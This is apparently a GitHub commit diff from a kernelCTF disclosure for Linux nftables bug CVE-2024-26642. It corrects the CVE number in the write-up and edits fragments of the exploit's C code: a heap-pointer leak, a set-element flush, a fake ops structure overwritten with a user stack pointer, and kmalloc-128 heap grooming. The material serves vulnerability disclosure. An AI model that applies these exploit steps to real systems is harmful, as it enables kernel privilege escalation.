You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: pocs/linux/kernelctf/CVE-2024-26642_cos/docs/exploit.md
+2-2
Original file line number
Diff line number
Diff line change
@@ -1,5 +1,5 @@
1
1
# Exploit detail about CVE-2024-26642
2
-
If you want to get some base information about CVE-2023-6817, please read [vulnerability.md](./vulnerability.md) first.
2
+
If you want to get some base information about CVE-2024-26642, please read [vulnerability.md](./vulnerability.md) first.
3
3
4
4
## Background
5
5
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.
@@ -153,4 +153,4 @@ It will trigger the vulnerability as described above. In order to achieve the ef
153
153
154
154
155
155
## Exploit
156
-
Because the exploit steps of CVE-2024-26642 is the same as CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).
156
+
Because the exploit steps of CVE-2024-26642 is the same as CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).
uint64_tobj_a=*(uint64_t*)&leak_data[0xcb];//0xcb and 0xcb+8 are in the nft_obj->list.next and nft_obj->list.prev structures of the adjacent set elements created in step 5.
361
352
uint64_tobj_b=*(uint64_t*)&leak_data[0xcb+8];
362
353
printf("leak obj A heap : %llx\n",obj_a);
363
354
printf("leak obj B heap : %llx\n",obj_b);
364
355
365
356
//step 8 Delete all the set elements created in step 5
366
357
elem_flush(socket, table, hash_set);
367
-
sleep(2);
358
+
sleep(2);//Waiting the function nft_commit_release which finally call nf_tables_set_elem_destroy
*(uint64_t*)&ops[0xc8] =user_rsp|8;//(You don't need to add '|8' when exploiting kernelctf.vrp.ctfcompetition.com:1337) It seems that without this '|8', a stack error will occur during github pull check. I haven't studied why this problem occurs, but I guess it has something to do with the stack alignment when returning to the function shell.
new_set_pipapo_for_chain(socket, table, pipapo_set, 0x40);// Here 0x40 has no special meaning. The old code is reused.
427
+
new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, 0x30, 0x10);//Here 0x30 has no special meaning. The old code is reused.But it will affect the pad_len parameter used when we call the new_setelem_with_expr_and_elemdata function in step 4, because we need to make the element size created in step 4 and nft_chain in the same cache (kmalloc-128).
0 commit comments